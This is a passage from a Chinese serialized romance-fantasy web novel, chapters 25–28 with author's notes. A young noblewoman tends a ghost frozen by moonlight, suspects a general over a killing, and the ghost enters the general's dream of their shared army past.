桥妧枝跑到小路尽头时,缓缓停下了脚步。 月色斑驳,她借着月光看到了坐在石头上的背影。 她想到不久前,她招错魂,最先看到的也是这样的背影。沈郎君的背影与沈寄时很像,她遥遥看着,这一次出口的却是:“沈郎君。” 被对着她的鬼魅许久没有转身,桥妧枝恍惚间,还以为自己认错了人。 “沈郎君。”她又出声,声音带着隐隐的颤抖,“多日不见,郎君可安好?” 【作者有话说】 人死为鬼,鬼死为魙,魙死为希,希死为夷。出自《幽明录》 本文私设,鬼尚有投胎可能,鬼一死,就再也不能往生。 25 第25章 ◎你随我回去吧◎ “多日不见,郎君可安好。” 深林寂静,少女清润的嗓音带起轻微回响。 月色清辉,背对着她的那道背影依旧未动,仿佛入了禅定。 女鬼小心翼翼跟上来,犹豫片刻,小声问:“莫非女郎与他相识?” 她声音压得很低,大概还是有些惧怕那只石上魙鬼。 “是,我与他相识。” 桥妧枝并未隐瞒,敛眸道:“沈郎君是个好人,你不必这般怕他。” 女鬼眨了眨眼,还是有些害怕,下意识向后退了两步。 桥妧枝看向前方那道背影,月色如霜,月华倾泻而下,洋洋洒洒落在他肩头,仿佛为他覆上一肩白雪。 只是,那当真只是月光吗? 她忽而向前走了两步,终于看清覆在他肩头那层厚厚的白霜。他依旧身着那件稍显破旧的衣衫,霜雪仿佛有生命一般在他肩头凝结蔓延,好似要将他包裹在其间。 “沈郎君?” 桥妧枝先是一怔,随后反应过来,连忙跑到他身前。 看到他的瞬间,桥妧枝眼眶便是一热。 盘坐在巨石之上的人双目紧闭,一动不动,眉睫之上满是霜雪,仿佛一个被冻僵在寒冬腊月里的可怜人。 长安这个时节,为何会有雪?他身上,又因何落满雪? “沈郎君!” 桥妧枝扑上去,摸到一手冰雪。 来不及多想,她直接解下外衫,不由分说盖在他身上。 寂夜微凉 沈寄时却始终没有睁开眼睛,眉睫上的霜雪越来越多,盖在他身上的外衫似乎毫无作用。 “沈郎君?” 桥妧枝有些慌乱,伸手去探他的额头,瞬间被冰得一抖。 眼前人如同一座毫无生气的冰雕,不断向外散发冷意。 桥妧枝眼眶酸涩,正不知该如何是好时,突然听到一道细微的声音。 “阿娘……” 桥妧枝一怔,猛地抬眼,“沈郎君,你怎么样?” 听到她声音的瞬间,端坐高台之人薄唇微动,“好冷……” 他穿得这么单薄,浑身上下都被冰雪覆盖,怎么会不冷? 桥妧枝抿唇,犹豫片刻,轻轻环上他的肩,缓缓覆在他身前。 相触的瞬间,桥妧枝被冰得抖了抖,却没有离开。 温热的体温令他身上的霜雪不再凝结,月光依旧,可他肩头的那层白霜却渐渐开始融化。 沈寄时似乎有所察觉,他闭着眼睛,嗅到一股熟悉的清香。 他时常闻到这股香,在当初困守浮屠峪时,在不断厮杀的三百年时光中,在他成为沈郎君守在她身边后,这股清香一如既往,令他死生不能忘怀。 喉结滚动,他以为这一切不过是错觉,于是本能地将怀中人抱紧,低喃道:“卿卿……” 他的声音太轻,轻到桥妧枝只模糊听到他在呢喃,却没有听清他在说什么。 太冷了,桥妧枝被冷得枝头晕目眩,她都如此,沈郎君应当要比她冷上千倍百倍把。 抱着她的人还在喃喃自语,桥妧枝却已经没有力气再听了。口中的腥臭味仿佛黏上了她,怎么都无法散去。 她模模糊糊地想,沈寄时真的很会骗人。 明明是自己为她放血,可偏偏要说是禽血。明明是自己割出来的伤口,他却偏要说是东胡人划伤的他。如果不是遇到流寇,她应当会被骗很久很久,久到她寿终正寝,去九泉之下见到她,说不定都会被他嘲笑说,桥脉脉你怎么这么笨啊。 长安到蜀州千里,她不知他是如何在伤痕累累的情况下带她走下来的。 于她而言,这世间,再也没有第二个沈寄时了。 不知过去了多久,林中虫鸣渐消。 女鬼立在不远处的林中,静静看着相拥在巨石上的两人,眉眼之间划过惆怅。 做鬼的滋味真不好,她本以为自己够惨了,可不成想,这个魙鬼似乎比她还要惨。 身侧不知何时多出一只鬼魅,女鬼眼都未抬,低声道:“我觉得她们有些奇怪。” “哪里奇怪?” 女鬼说不上来,她活着的时候读书不多,有时想说什么,又不知该如何形容。 她看向身侧鬼,“你生前不是读了很多书?” 男鬼嗯了一声。 当真是闷。 女鬼好脾气地问:“那你有没有觉得哪里奇怪?” “若说奇怪……”被询问的鬼魅目光悠远,“大概是,千里孤坟,无处话凄凉。” 女鬼没有听过,只从字面上理解,便委屈道:“我也没有坟,死得又那样惨,也很凄凉。” 这句话似乎逗笑了身侧人,他扯了扯唇角,低声道:“不必留在此处了,我们走吧。” 女鬼听话转身,可刚飘出一段距离,还是忍不住回头。 夜色朦胧,林间幽暗,他们隔着那么远,其实已经看不大清了。 — 天光初亮时,第一缕日光透过枝叶缝隙照下,落在的少女身上,驱散她一夜严寒。 桥妧枝悠悠睁眼,意识到什么,猛地起身,向四周看去。 沈寄时背对着她立在树下,听到声音缓缓回头,轻声道:“女郎。” 鸟雀嘶鸣,林中幽静,他的声音很低,却还是清晰传到少女耳畔。 桥妧枝看着他几紧透明的魂体,想到昨夜女鬼所言,低声问:“郎君如今已经是魙鬼了吗?” 沈寄时不知该如何说,其实无论他是不是魙鬼,都已经入不了轮回。 他许久没有出声回答,桥妧枝便明白了几分,她张了张嘴,泪珠滚滚而下。 沈寄时看着她,心尖阵痛。 她其实并不是很爱哭的性子,可这短短数日,她哭得次数却已经胜过以往数年。 为死去的沈寄时哭,为相识不久的沈郎君哭,亦或是为她所见所闻而哭。 还好她不知他是沈寄时,若是知道了,又该哭成什么样子。 “女郎不是要为我积攒功德吗?”他说,“世间事本就是周而复始,若是能有许多功德,兴许还有机会。” “当真还有机会吗?” 人死不能复生,那鬼死呢,便能复生吗? 沈寄时低声道:“世人都说鬼怪之言是怪力乱神荒诞之谈,可女郎不还是看到了。” 是啊,她不还是看到了。 桥妧枝脸上泪痕未干,她道:“沈郎君,你随我回去吧。” 【作者有话说】 沈寄时是个专门骗桥脉脉的大骗子! (我知道短小,但是晚上还有一章,在凌晨一点前) 26 第26章 ◎我杀之人并非流寇◎ 林间幽静,向西看去,明月的轮廓在白日里清晰可见,日月当空,今日应当是极好的天气。 破旧的土地庙依旧伫立在林间,这是一座已经废弃很久的庙宇,屋檐塌陷,木门腐朽,内里的神龛破旧不堪,香炉里还有半炉烧尽的香灰。 或许在许久以前,这里曾是香火很盛的地仙庙,可日月交替斗转星移,曾经的土地庙已经成了孤魂野鬼的落脚之地。 桥妧枝扫去神龛上的蛛网,看着内里破败的神像,隐约想起,在许久以前,长安百姓好似确实有个很信奉的土地神。只是东胡之乱后,那个曾在百姓中口耳相传的土地神便再也无人提及。 没有信徒会信奉一个无法保佑一方土地的地仙,就像没有百姓会信服一个无法令王朝繁盛的帝王。 昨夜的那只女鬼不见了,或者说,这里丝毫不见鬼魅的影子。 桥妧枝不解:“天都亮了,他们外出了吗?” 沈寄时立在一旁,扯了扯苍白的唇角,道:“兴许是被我吓走了。” 鬼怕魙鬼,似人怕鬼。 桥妧枝一怔,顿时有些窘迫,她确实将这件事给忘了。 “是我的疏忽,我还未与她道别。” 昨夜若不是她,她根本不知道沈郎君在这里,她想要道谢。只是,今日怕是没有机会了。 “沈郎君。”她看着他认真道:“你之前说逗留在人间的鬼魅都是阴险狡诈之辈,其实也不尽然。” 最起码,昨夜的那个女鬼并非狡诈的鬼,只不过是个可怜人。 沈寄时敛眸低笑,并未言语。 桥妧枝看了看外面的日光,回身对他道:“沈郎君,时候不早了,我们应当走了。” 她一夜未归,阿爹阿娘应当已经急坏了。 沈寄时对上少女看过来的目光,苍白的脸上浮起一丝笑意,“好。” 他终究还是有私心的,他希望,至少在消散前还能再陪她久一点,即便她根本不知他是谁。 — 纷乱的脚步声打破树林的平静,飞鸟惊起,四散飞去。 周季然神情冷冽,指尖无意识轻扣起挂在腰间的剑柄。 “将军,相国大人的马车已经进了树林。” 话音刚落,不远处便传来车轮飞速滚过土地的声响。 周季然冷冷抬眼,顺着声音看去,却见跟在马车身旁的竟是位故人。 “相国大人。” 周季然抱拳行礼,又看向一旁的冯梁,冷淡道:“冯少卿。” 冯梁不咸不淡地抱拳回礼,倒也没有寒暄的意思。 他们都在蜀州待了数年,可不过几面之缘,经历也并不愉快,虽勉勉强强算得上是故人,却实在是热络不起来。 马车车帘被人掀开,桥夫人坐在里面默默垂泪,桥大人神情疲惫,“脉脉找到了吗?” 周季然握住剑柄直起身子,道:“还没找到,不过流寇都已抓获,马夫和丫鬟皆只受了轻伤,倒是并无大碍。” 桥大人犀利的目光落在周季然身上,压着怒意道:“周将军,前不久陛下派你出城剿匪,你是如何做的差事,为何还有流寇敢在皇城脚下作恶?” 周季然不卑不亢,语气肃然,“流寇众多,原本已被清剿,不成想还有漏网之鱼。此事下官已经上了奏折请罪,待女郎找回,下官自去领罚。” 桥大人目光落在他笔直的脊背上,冷哼一声,拂袖转身。 正是八月,林中微凉,日光愈烈。 搜寻的喧嚣声片刻未停,冯梁有些沉不住气,翻身上马,道:“我也去寻。” “冯少卿。”周季然悠悠开口,“少卿既不会武功,还是不要乱跑,若是在林中迷了路,我手下亲兵还要去救少卿。” 冯梁暴怒,正要说话,却见远处突然跑来一个士兵。 “找到了!” 众人连忙看去,只见士兵气喘吁吁,指着身后大喊,“将军,人找到了!并无大碍!” 桥夫人猛地抬头,不管不顾跳下马车,在看到桥妧枝满身干涸的鲜血时,险些晕过去。 “阿娘!” 桥妧枝冲上前扶住桥夫人,紧张道:“阿娘,你没事吧!” 桥夫人一把将人抱在怀里,一边垂泪一边道:“脉脉,你吓死阿娘了!这一整夜你到底去了哪里,怎么弄得这么狼狈?” 桥妧枝一怔,抿了抿唇,没有说话。 桥大人上前,眼眶亦是有些发红,低声宽慰,“脉脉没事就好,没事就好。” “女郎。” 周季然突然开口,看向桥妧枝的目光带着不甚明显的探究,“周某手下亲兵在林中发现一具尸体,不知女郎与这件事可有干系?” “人是我杀的。” 桥妧枝对上周季然的视线,问:“周将军是要将我抓回去下大狱吗?” 冯梁闻言皱眉,上前挡在桥妧枝身前。 周季然扯了扯唇角,目光越过他,落在桥妧枝身上,道:“女郎误会,女郎所杀之人正是城外作乱的流寇,自然不用下狱。” 他说完,翻身上马,对桥大人道:“相国大人,既然女郎已经找到,也并无大碍,下官就先行回去交差。” 桥大人看了他一眼,道:“请便。” “对了。”周季然想到什么,对桥妧枝道:“周某部下亲兵在林中搜寻时,无意中找到一张写有挚友笔迹的婚书,女郎可识得?” 桥妧枝先是一愣,继而眸中露出巨大的惊喜,连忙道:“是我的东西,婚书此时在何处?” 周季然叹气,从怀中掏出一张破了的红笺,道:“亲兵送来时,这婚书已经被马蹄踏破,既是女郎的东西,那周某便物归原主了。” 说着,他将破损的婚书递了过去。 日光下,那一纸婚书在风中飘摇,破旧的有些可怜。 桥妧枝怔怔接过,看到上面已经模糊不清的字迹,忽然觉得呼吸有些困难。 她明明才刚刚得到,可转瞬便又失去了。早知如此,还不如从未得到。 “周将军。”她握着婚书艰涩开口,“可否告知,这是在何处寻到的?” “于小径向西数百米,树下荒草间拾得此物。” 周季然说完,摆了摆手,带着禁军离开了。 桥夫人看着那已经破旧不堪的婚书,眼眶更加酸涩,低声道:“脉脉,别再看了,该回去了。” — 日头将落未落时,房内突然亮起了烛光。 破碎的婚书被小心翼翼拼凑起来,却依旧有几处残缺。纸张最是脆弱,那几处残缺说不定早就已经被风吹去很远。 桥妧枝抱着小花,悄无声息将眼泪埋进狸花猫那厚厚的毛发之中。 似是察觉到什么,小花今日出奇听话,任凭她将自己当做手帕擦眼泪。 沈寄时立在她身边,目光落在婚书上,自嘲地笑了笑。 早知今日,他绝不会写下这样惹人落泪的东西。 既已死,还是死透些好。 “沈郎君。”桥妧枝哭够了,说话时尚带着鼻音,低声道:“其实今日,我有一件事未给阿爹说。” 她顿了顿,道:“我杀之人,似乎并非作恶的流寇。” 沈寄时皱眉,却听她继续道:“流寇大多身材魁梧粗壮,性情残暴恶劣,若真是流寇,我未必能活下来。” 桥妧枝回忆起当时的场景,抿唇道:“我虽从未习过武,却时常去军营,对大梁将士有稍许了解。那日我看得分明,我所杀之人脚上的靴子,是官靴。” “兴许那人也未曾想会被我所杀,竟高傲到连脚下的官靴都未曾换下。” 桥妧枝蹭了蹭小花的肚皮,道:“可周将军却直接将那人说成是流寇,我不得不怀疑。” 沈寄时道:“女郎是怀疑周季然?” 桥妧枝没有否认:“他是朝廷命官,也是大梁如今唯一能拿得出手的将军,这件事情非同小可。我没有将事情告诉爹爹,也是不想万一其中有误会,让爹爹为难。” 恰逢日月更迭,一阵冷意袭来,沈寄时低低咳嗽了几声,道:“我可以为女郎入梦。” “入梦?” 沈寄时脸色苍白,低声道:“既是人,便不会在梦中骗人,我可为女郎入周将军的梦。” 桥妧枝看着他,突然道:“沈郎君。” “嗯?” “你身上又落雪了。” 沈寄时一怔,这才发现,自己身上竟已经盖了一层薄雪。 八月的傍晚,桂花的香气透过门窗传来,他明明在屋内,身上却开始凝霜。 桥妧枝有些慌乱地为他拂去肩头霜雪,又慌不择路去搬冬日才会用的棉被。 厚厚的棉被裹在他几近透明的身上,可依旧杯水车薪。 “沈郎君,为何会这样,白日不是还好好的?” 沈寄时抿唇,轻笑道:“女郎,我是魙鬼。” 鬼魅怕日光,然魙鬼却怕月光,一遇寒月,便会忍受如同寒冰地狱之苦。 桥妧枝看着他身上越来越厚的霜雪,不知他为何还能笑出来,颤声问:“没有别的办法吗?” “劳烦女郎再为我多加一层棉被。” 桥妧枝连忙又为他裹上一层棉被,“可好些了””已经好多了。” 桥妧枝看着他眉睫上越发厚重的霜雪,久久未曾言语。 27 第27章 ◎入梦◎ 周季然从刑部出来时,已是月上中天。 锦衣夜行,长安城寂静,官靴踩在青石板上,发出轻微的咚咚声。 他走得缓慢,好似行走在夜间无家可归的游魂。 夜间的打更人碰巧从他身旁经过,嗅到他身上浓浓的血腥气,当即吓得腿软,头也不敢抬,匆匆离去。 月色下,周季然面不改色,握着腰间长刀一步步往前走。 苍穹之上不知何时飘来一片乌云,月光渐淡,将他脸上也照出几分晦暗。 他走得专心,却在路过兴宁坊的牌匾前时,脚步微顿。 这个时辰,兴宁坊内一片昏暗,唯有深处一点亮光,应当是谁家府上挂出的灯笼。 能住进兴宁坊的,大都是钟鸣鼎食之家。比如世代将门的沈家,又比如虽然出身寒门却娶了长安贵女,一路青云直上的相国大人。 周季然的府邸并不在此处,他只看了一会儿,便缓缓收回目光,乘着夜色远去。 周府大门敞开,守在门前的小厮上前接过他的衣裳,连忙道:“大人,刚刚有人来过了。” 周季然脚步一顿,没什么表情,“他又来做什么?” “不知,似乎是有话要说,等了大人许久,一直到天黑才离去。” 院中光影黯淡,月亮被乌云遮了大半,照不清院中人脸上的表情。 良久,周季然卸下腰间长刀,冷冷道:“知道了,下去吧。” 说完,推门进了书房。 小厮立在书房外,等了许久没有等到屋内亮灯,不禁心下打鼓。 恰逢乌云遮住明月最后一丝亮光,院中陷入无尽黑暗,冷风吹过,小厮下意识抖了两下,讪讪离去。 桥府后院 月光被遮住的瞬间,沈寄时身上的霜雪开始消退。 屋内的温度渐渐消退,桥妧枝却毫无察觉,只抱着暖炉蜷缩在禅凳上昏昏欲睡。小花窝在她怀中,长长的尾巴搭在少女纤细的手腕,末尾的尖尖偶尔还会动一动。 她睡觉一向很轻,在屋内温度回暖之时好似察觉到什么,悠悠转醒。 “沈郎君?” 她睡眼惺忪,看到他身上霜雪消融,一时反应不过来,低声问:“已经天亮了吗?” “刚过子时,还未天亮。” 桥妧枝有些反应不过来,又问:“郎君身体已经痊愈了吗?” 沈寄时并未回答她这个问题,只道:“夜已深,女郎早些安睡。” 他向外走去,却听身后传来少女有些沙哑的声音:“郎君去往何处?” 沈寄时转身,道:“入梦。” “入梦?” 桥妧枝几乎在瞬间清醒过来,抱紧怀中小花,抿唇道:“此事不着急……” “今日有乌云,是个极好的时机,再等下次,不知要等多久。” 他道:“入梦小事,某一人去便可。” 沈寄时出了庭院,行至连廊时,忽听身后响起急促的脚步声。 桥妧枝乌发披散在身后,握着提灯追上来,“沈郎君,我与你一同去。” 怕他不同意,她连忙道:“若是乌云突然离去,我还可在一旁看护郎君。而且,郎君对长安并不熟悉,我还可以为郎君带路。” 她说完,笑了笑,眸光却很是坚定。 沈寄时敛眸,低声道:“女郎离远些,不要被人发现。” 他一说,桥妧枝便笑了,眨了眨眼,道:“一定不会被人发现。” 这是桥妧枝第二次翻墙而出,与上次不同的是,空荡荡的长街之上竟一只鬼都没有看到。 沈寄时轻声解释:“七月已过,长安游魂少了大半。再加上,如今我是魙鬼,那些孤魂野鬼自然不会出现在附近。” 桥妧枝乌发已经被长绳绾起,并未点缀朱钗,就连她一直戴在头上的绒花都未来得及簪上。 她用余光偷瞄身侧的郎君,想到以前与他走在长街时,那些游魂好似就很怕他。 古楼观那些道士说他身上煞气很重,她却一点儿都感觉不到。 她握着提灯的长杆,状似无意地问:“一直没有问过,沈郎君生前是做什么的?” 沈寄时答:“随家中走南闯北,做些小生意,并非什么大富大贵之家,倒也够温饱。” 他回答的含糊,桥妧枝还想再问,却见身侧郎君脚步一顿,低声道:“女郎,我们到了。” 她抬头,面前是周府高耸入云的侧墙。 — 周季然端坐在书房,小心翼翼擦拭着手中长刀。 屋内未点灯,他熟门熟路地拂过刀刃,将上面残留的血迹擦干净。 十年征战,这把刀饮血太多,早就已经被鲜血浸透,即便是能擦干净上面的血迹,也驱不散附在刀刃上的血腥气。 周季然指尖一寸寸向上移,在按到刀柄的凸起时微微一顿,继而若无其事般继续向上擦。 “周季然。” 他突然听到一声温和的女声唤他,先是一怔,随后又缓缓起身,冷声道:“谁?” 那声音发出轻笑,“这么多年过去,阿然连我的名字都忘了吗?” 周季然嘴唇抖动,踉跄着往书房门口走去。可当他走到门前,却仿佛僵住一般,久久没有动作。 “阿然?” 那道声音再次响起,“怎么还不出来,这么久不见,就没有什么想和我说的?” 周季然脊背微弯,猛地闭上双目,一把将书房门打开。 寒光闪过,长刀出鞘,他怒吼:“谁在故弄玄虚?” 开门的瞬间,光阴流转。眼前场景忽然一变,寂静的周府变成陡峭的青城山,威风凛凛的中郎将也成了军营中一个毫不起眼的瘦弱少年。 青城山上寒风凛冽,演武场内却人声鼎沸。 周季然披着不合尺寸的大氅,怔愣看着眼前熟悉的情景。 绸缎穿得太久,他几乎要忘记自己的身份。 周季然并非长安人,而是个不知来处的乞儿,南逃的路上有幸被裴将军救了下来,这才平安到了蜀州。 裴将军救下的人不计其数,只有他,一留就是十年。 “你的伤已经好了?” 裴将军声音在寒风中有些听不真切,她微微俯身,声音染上一抹笑意,“我听照看你的阿婆说你想要留在青城山?这是真的吗?阿然,参军很苦的,稍不留神就会死。你年纪尚小,若是愿意,可以去领一笔钱找个学堂念书。青城县虽小,却是个好的落脚点。” 周季然看着这张记忆中的脸,眼眶微红,心绪起伏,想要说话,可一张口,说的却是:“我年纪不小,今年已经十五了。” 他指着演武场的沈寄时,表情紧绷,“我比他还要大。” 裴将军顺着他指的方向看过去,眼中满是自豪,道:“他啊,他是我的儿子,自小练武,连战场都上过了。” “我也可以!”少年盯着面前的女将军,目光灼灼,“我不会比他差,我要上战场杀东胡人,先做士兵,再做将军。” 裴将军笑了,“有志气!” 她回身,冲着演武场喊道:“阿时,别打了,快过来!” 演武场上和旁人打得不可开交的少年顿时停下动作,抱着刀不情不愿地走过来。 裴将军将周季然拉到身前,眯眼道:“以后阿然就跟着你一起练武了!” 少年最是不羁,目光漫不经心在瘦成竹杆的周季然身上扫过,突然将抱在怀里的刀扔给他,笑嘻嘻道:“既然如此,这把刀送你了!” 他看向裴将军,神采飞扬,“阿娘!我觉得长刀不适合我,我要练枪!” 周季然瘦弱,踉跄着冲上前捧住长刀,还没来得及反应,指尖就摸到刀柄一块凸起。 他摸了许久,恍然发觉,原来这上面,是一个沈字。 沈寄时的沈。 28 第28章 ◎少年的怀抱滚烫又潮湿◎ 周季然拿到那把刀的时候,是在承平二十年的冬末。 彼时大梁江山风雨飘摇,高高在上的圣人如同落水狗一般躲在蜀州,靠着天堑将东胡拦截在外。 周季然练好那把刀的时候,是在承平二十五年的深秋,深秋时节天地肃杀一片,他随沈寄时率军北上,用那把长刀砍掉了上百个东胡人的脑袋。 东胡人的血又黏又臭,飞溅到脸上,生生将人变成了地狱中的罗刹。 周季然擦干脸上的血迹,发现腰上多了一道手指关节深的刀口。 那伤口实在是太深,鲜血涓涓往下流,可他穿着深色甲胄,伤口中流出的鲜血与东胡人的血混在一起,谁也分辨不出。 他神色不变,仿佛受伤之人不是自己,手起刀落间,又是一个东胡人。 从天黑打到天亮,这场仗不知打了多久,最终还是以东胡落败结尾。 彼时,东胡主帅被沈寄时一枪捅了个对穿,东胡当即溃不成军,四散奔逃。 大梁鸣金收兵,沈寄时握着缰绳,单手负枪,与周季然并辔而行。 长河落日,衰草遍地,旌旗猎猎,将军身上的甲胄已经染成了暗红色。 “东胡人败走北上,要不了多久,我们就能打回长安。” 十七岁的少年眉眼桀骜,扬眉对身畔的周季然道:“等我们回了长安,就让阿萤带你去吃长安最有名的酒楼,那里的酱肘子就连李御这种嘴刁之人都赞不绝口。” 周季然默不作声听着沈寄时口中的长安,眼中没什么情绪。 很多时候,他在这些人中如同一个异类。这些年来,他听他们说的最多的便是长安,可长安于他而言并非故土,真若说起,与蜀州也没什么两样。 他更想一辈子呆在蜀州,一辈子呆在青城山上。 腰间的伤口还在往外淌血,周季然握着缰绳的手泛起青筋,却一声未吭。 “阿娘前几日传了书信,说你马上就要弱冠了。” 沈寄时仰头灌了口水,笑道:“大梁的规矩,弱冠后就要早日寻一门亲事,阿娘让我问问你,有没有中意的女郎?” 腰间的伤口好似更疼了,周季然握着缰绳的手一顿,久久没有说话。 沈寄时察觉到不对,勒紧缰绳调转马头去看他,微微眯眼,一拳抵在他肩膀,朗声笑道:“周季然,你小子果然有心上人了!以前也不见你与谁家女郎走得近,说说看,到底哪家的女郎?你说出来,阿娘一定亲自为你去说亲!” 周季然脸上都是血,抬起眼皮与他对视,眸中情绪翻涌,想要说什么,却突然闷哼一声,从马上栽了下去。 沈寄时一怔,连忙翻身下马将人抓起,却不想摸了一手温热的鲜血。 襄州一战,以大梁大获全胜为结尾。获胜的第二日,圣人的驾撵便到了襄州城,随驾过来的,还有裴将军与相国大人。 沈寄时笔挺跪在院中,藤条一下下鞭打在他背上,将他后背抽出一道道鞭痕。 少年额头冒了冷汗,却倔强地一声不吭,生生将疼痛忍下。 桥妧枝立在廊下,捧着早已准备好的伤药看他挨打,眼眶渐渐红成了兔子。 沈寄时知道她正在看他,长发斜在肩头,偏头不肯与她对视。 裴雲打够了,扔掉藤条,冷声道:“身为主帅,不计后果,枉顾将士性命,一味追敌,沈寄时,你看的兵书都吞进狗肚子里了?” 少年不服,猛地抬头愤愤道:“一鼓作气,再而衰,三而竭,乘胜追击本就是兵家常事!更何况,这一次我们胜了,阿娘,我何罪之有!” “好一个胜了!这次是胜了,那下一次呢?你是主帅,你要对你的将士负责。沈寄时,没有那些将士,你这个主帅做得起来吗?这一次你追上去没有遇到埋伏,若是下一次当真有埋伏,你又该如何?那些将士都是活生生的人,你要拉着他们给你陪葬?” 沈寄时张了张嘴,许久说不出话来。 知子莫若母,裴将军简直要被气笑,伸手揪住少年的耳朵,眯眼道:“是啊,你这次立了功,陛下封你为长宁侯,当真是风光无限,本事比阿娘都要大了!” 沈寄时下颌紧绷,偏头不语,胸膛上下起伏,摆明了还是不服气。 裴将军神色一淡,低声道:“沈寄时,你还算不上是个合格的将军,知道你比阿娘差在哪里吗?” 沈寄时一怔,下意识抬头。 “不论是我还是你爹,率军打仗,无论胜败,都能第一时间察觉到自己的将士是否平安。” 裴将军松开他的耳朵,冷哼道:“你是一军主帅,真以为只要打胜仗就合格了?你的副将被东胡人在腰上砍了一刀,要不是运气好,现在都能发丧了,你竟毫无察觉!” 沈寄时薄唇微动,双拳紧握,偏头不再说话。 这狗脾气!也不知是学了谁。 裴将军直起身,握住腰间长剑,哼笑道:“今夜你就跪在这里,我倒要看看,能不能挫一挫你这个长宁侯的威风!” 说完,她转身,看到立在廊下眼巴巴望着这里的少女。 桥妧枝吸了吸鼻子,唤了声裴将军,目光却始终落在沈寄时身上。 裴将军回头看了少年一眼,叹了口气,有些哭笑不得,沈寄时这个狼崽子,命倒是真好。 月色如洗,庭院中的竹叶轻轻晃动,发出沙沙声响。 沈寄时孤身一人跪在硬邦邦的地上,即便身后已经满是伤痕,依旧不肯折腰。 旁人倒也没有说错,沈小将军的脊背好似擎天的石柱,只要天不塌,谁也别想让他折腰。 鹅黄色的裙摆晃进余光中,沈寄时偏头,闷声道:“别看我,也不必管我。” 没有人喜欢被心上人看到自己的狼狈,更别说骄傲如沈小将军,他宁愿被捅一刀的人是他,也不想让桥脉脉看到他这么狼狈的样子。 桥妧枝蹲在他身边,五官皱成了一团,眼眶依旧发红,却愤愤道:“你当谁愿意管你,脾气臭死了,要不是和你定了亲,我才不管你。” 嘴虽然硬,却还是小心翼翼去查看他后背的伤口,还将动作放的极轻。 沈寄时抿唇,在她指尖碰到背后伤口时忍不住闷哼出声。 桥妧枝长睫微颤,看着他背后青青紫紫的鞭痕,眼眶更加酸涩。 裴将军征战沙场多年,一顿鞭子可不是普通人能吃消的,若是沈寄时肯低个头,哪里会吃这顿苦。 她呼吸放缓,小心翼翼将他背后的衣服撕开,布料却还是不可避免地划过伤口。 少年疼得倒吸一口凉气,哼笑道:“桥脉脉,你是不是公报私仇。” 桥妧枝双颊鼓起,避开他的伤口一拳砸到他背上,怒道:“沈寄时,你这个混蛋!” 她想必是当真有些生气了,这一拳完全没有收着力道,直接在他肩膀上打出一道红痕。 被打之人却笑得更放肆了,先是低头笑了好一会儿,笑得肩膀颤抖,直到笑够了,才呼出一口气,道:“我没事,你别担心,不过是小伤。” 桥妧枝挖药膏的手一顿,抿了抿唇,没出声。 冰凉的药膏涂抹在伤痕上,带起丝丝凉意,沈寄时舒服地眯起眼。 见她不说话,少年仰头看着天上的月亮,道:“其实阿娘这次打我收着力道呢,以前的时候,比这还严重的惩罚我又不是没有受过。” 桥妧枝顿了顿,忍不住问:“你怎么总是被罚,就不能低个头吗?你若是低头,裴将军肯定舍不得罚你。” 这一次,少年语气中带了一丝懒洋洋,道:“谁知道,我阿娘脾气差得很,我早就已经习惯了,不就是挨几顿打吗,挨就挨,反正又死不了人。” 桥妧枝反驳:“谁说的,裴将军对阿萤就很温柔,她是想要挫一挫你的锐气,让你别总是意气用事。” “兴许吧。” 沈寄时不怎么在意,轻声问:“桥脉脉,药上好了吗?” “还差一点点。” 少女说着,指尖向下,摸到了他后背很深的腰窝,不自然地移开目光。 两人谁都没有再说话,时间仿佛被无限拉长,一直等到最后一个伤痕也被涂满药膏,桥妧枝才轻声道:“好了。” 话音刚落,背对着她的少年突然转身,一把将她拉进怀里,牢牢抱住。他抱得太用力,仿佛要将人融在自己怀里。 沈寄时将脸埋进少女柔软的发间,嗅着熟悉的皂角香,一直绷紧的肩膀渐渐放松。 秋夜寒凉,少年身上沾了露珠,贴上来时带了满怀水气,滚烫又潮湿。 桥妧枝没动,只僵硬了一瞬间,就缓缓环住他的腰肢。 “桥脉脉。”他出声。 “嗯。”她回应。 夜间寂静,地上的影子融为一体,桥妧枝能听到他们剧烈的心跳声。她有些分不清,这心跳到底是自己的,还是沈寄时的。 亦或者,都是。 他们身后,房间的窗户不知什么时候被风吹开一角,透进无限寒风。 周季然腰间缠着绷带,脸色苍白,就着月色看庭院中相拥的两个人。 他与沈寄时出生入死多年,却与这位桥家的女郎并不相熟,但他知道,他们以后是要成亲的。若是没有意外,他们应当会是最好的神仙眷侣。 他看了许久,眸中划过一丝自己都未曾发觉的羡慕。 “阿然。”裴将军站在他身侧,“你的伤可好些了,还疼吗?” 周季然回神,没有抬头,轻声道:“已经不疼了。” 裴将军叹道:“阿时桀骜不驯,行事实在是太冲动,我虽是他阿娘,却也不能一直在他身边。你比他年长几岁,又比他稳重许多,以后还需要你守在他身边,多多提醒他。” 不知为何,明明已经不疼的伤口又开始泛起丝丝疼意。 周季然捂住腰间的伤口,半张脸隐藏在阴影,张了张唇,低声道:“我会的。” 裴将军松了口气,看着他映在墙面上有些单薄的身影,想到什么,轻笑道:“你马上就要弱冠,我听阿时说,你有了心上人?” 周季然一顿,下意识抬头,看着眼前人,久久没有开口。 “是哪家的女郎,我替你去提亲。”她看着窗外相拥的少男少女,好似想起了什么,眉眼温柔,“不管是谁家的女郎,只要她愿意,我都可以为你提亲。” 这么多年,谁都知道周季然虽然姓周,却已经和沈家密不可分。若是她亲自为他求娶,也不会因为他的出身而拒绝他。 周季然敛眸,过了很久,轻轻摇了摇头,“没有,我没有心上人。” 没有吗? 裴将军蹙眉,却还是点了点头,道:“没有也没关系,说不定只是缘分未到,缘分事情倒也不用强求,若是哪一日有了喜欢的女郎,再与我说也不迟。” 周季然低头,轻轻嗯了一声,没有再说话。 时候已经不早,裴将军看了眼外面的月色,道:“你受了伤,早些休息,我去看看阿萤。” 她说完,转身要走,却听身后少年道:“裴将军。” 她回头,神色诧异,却很有耐心地停下脚步,等他开口。 周季然紧握的手掌一松,声音却依旧有些不稳,他低声道:“我还没有取字,等我二十岁生辰时,将军能否为我取字?” 裴将军握着剑柄,轻笑道:“那是自然,不过阿然……” 将军声音忽然轻了许多,“我已死去多年,该如何给你取字?” 周季然周身一僵,凉意从头窜到脚,令他动弹不得。 桌案上的长刀突然落地,发出一道刺耳声响,周季然猛地睁眼,依旧是周府书房,刚刚的一切,不过都是一场梦。 庄周梦蝶,蝶梦庄周。说是梦,可梦中的一切却都曾真实发生。 周季然缓缓闭上双眸,握着长刀的手青筋凸起。 屋内突然传来脚步声,他缓缓睁眼,看到立在屋内的人影,不由得一怔。 他猛地站起,沉声道:“沈危止?” 